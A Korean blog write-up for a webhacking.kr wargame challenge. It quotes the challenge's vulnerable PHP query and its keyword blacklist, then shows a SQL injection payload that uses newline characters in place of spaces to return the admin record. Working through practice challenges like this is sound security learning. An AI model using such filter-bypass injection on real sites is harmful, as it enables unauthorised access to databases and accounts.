1을 제출하면 

hi guest가 출력된다.

문제에서 제시한 index.phps를 보면


$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 

이와같은 sql문이 있다.

우리가 해줘야 할 것은


if($q[0]=="guest") echo ("hi guest"); 
if(
$q[0]=="admin")                    
{                                     
@
solve();            
echo (
"hi admin!"); 
}                                   


즉 id='guest'인 조건은 fail 시키면서

id='admin'인 정보를 찾아야한다.

'guest'의 no는 1이므로

no에 3을 넣어줌으로써 실패시키고

or 로 id='admin'을 해주면 된다.


if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); 


여기서 ' ' 를 필터링해주므로

' '대신 개행(%0a)을 사용하면


쿼리문은 

http://webhacking.kr/challenge/web/web-32/index.php?no=3%0aor%0ano=2







'war game > webhacking.kr' 카테고리의 다른 글

webhacking.kr 39 100pt  (0) 2017.01.05
[webhacking.kr] 24번 REMOTE_ADDR 쿠키변조  (0) 2016.12.16
webhacking.kr 14번 100pt  (0) 2016.12.07
webhacking.kr 15번 50pt  (0) 2016.12.07
webhacking.kr 1번  (0) 2016.12.06

+ Recent posts